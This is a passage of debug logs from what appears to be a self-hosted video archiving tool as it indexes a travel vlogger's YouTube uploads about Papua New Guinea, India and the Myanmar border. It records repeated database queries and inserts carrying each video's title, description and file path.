s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:30:14.033 [debug] QUERY OK source="sources" db=0.1ms idle=250.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:14.034 [debug] QUERY OK source="media_items" db=0.3ms idle=251.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-06 15:05:17Z], 3] 19:30:14.035 [debug] QUERY OK source="media_items" db=0.7ms idle=251.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "4fc3db30-315f-4c33-b787-7691d3d5aa45", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", 12, "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, false, false, 3, [], 98, ~U[2026-03-06 15:05:17Z], ~U[2026-08-20 02:30:14Z], ~U[2026-08-20 02:30:14Z], "Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, 3, ~U[2026-03-06 15:05:17Z]] 19:30:14.035 [debug] QUERY OK source="sources" db=0.1ms idle=74.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:14.035 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:30:14.036 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18987] 19:30:14.036 [debug] Current batch of media processed. Will check again in 1000ms 19:30:15.037 [debug] Current batch of media processed. Will check again in 1000ms 19:30:16.038 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 1993, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", "id" => "sVlpZ6zLXh4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sVlpZ6zLXh4", "playlist_index" => 13, "timestamp" => 1772204684, "title" => "Entering Papua New Guinea Alone in 2026", "upload_date" => "20260227"} 19:30:16.039 [debug] QUERY OK source="sources" db=0.2ms idle=256.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:30:16.039 [debug] QUERY OK source="sources" db=0.1ms idle=256.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:16.039 [debug] QUERY OK source="media_items" db=0.2ms idle=257.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-27 15:04:44Z], 3] 19:30:16.041 [debug] QUERY OK source="media_items" db=0.8ms idle=257.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "0c8d4022-3c5d-433c-bb24-c669828e0725", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", 13, "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, false, false, 3, [], 98, ~U[2026-02-27 15:04:44Z], ~U[2026-08-20 02:30:16Z], ~U[2026-08-20 02:30:16Z], "Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, 3, ~U[2026-02-27 15:04:44Z]] 19:30:16.041 [debug] QUERY OK source="sources" db=0.2ms idle=78.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:16.041 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:30:16.042 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18988] 19:30:16.042 [debug] Current batch of media processed. Will check again in 1000ms 19:30:17.043 [debug] Current batch of media processed. Will check again in 1000ms 19:30:17.812 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:18.044 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "duration" => 2973, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", "id" => "W4ZERiu8IMs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=W4ZERiu8IMs", "playlist_index" => 14, "timestamp" => 1769871228, "title" => "They're Lying to You About India...", "upload_date" => "20260131"} 19:30:18.045 [debug] QUERY OK source="sources" db=0.2ms idle=262.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:30:18.045 [debug] QUERY OK source="sources" db=0.1ms idle=262.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:18.046 [debug] QUERY OK source="media_items" db=0.2ms idle=263.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-31 14:53:48Z], 3] 19:30:18.047 [debug] QUERY OK source="media_items" db=0.7ms idle=233.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "a15f9111-0f65-4c1a-992d-6271a0ec9e21", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", 14, "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, false, false, 3, [], 98, ~U[2026-01-31 14:53:48Z], ~U[2026-08-20 02:30:18Z], ~U[2026-08-20 02:30:18Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, 3, ~U[2026-01-31 14:53:48Z]] 19:30:18.047 [debug] QUERY OK source="sources" db=0.1ms idle=81.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:18.047 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:30:18.048 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18989] 19:30:18.048 [debug] Current batch of media processed. Will check again in 1000ms 19:30:19.049 [debug] Current batch of media processed. Will check again in 1000ms 19:30:20.050 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "duration" => 2343, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", "id" => "bBxtc-Tskto", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bBxtc-Tskto", "playlist_index" => 15, "timestamp" => 1769098339, "title" => "Overnight on Myanmar's Forbidden Border", "upload_date" => "20260122"} 19:30:20.051 [debug] QUERY OK source="sources" db=0.3ms idle=268.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:30:20.051 [debug] QUERY OK source="sources" db=0.2ms idle=269.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:20.052 [debug] QUERY OK source="media_items" db=0.3ms idle=269.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-22 16:12:19Z], 3] 19:30:20.055 [debug] QUERY OK source="media_items" db=2.5ms idle=270.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "8347526e-e4ea-40ec-a6b8-1ab52490f08d", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", 15, "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, false, false, 3, [], 98, ~U[2026-01-22 16:12:19Z], ~U[2026-08-20 02:30:20Z], ~U[2026-08-20 02:30:20Z], "Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, 3, ~U[2026-01-22 16:12:19Z]] 19:30:20.055 [debug] QUERY OK source="sources" db=0.2ms idle=87.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE 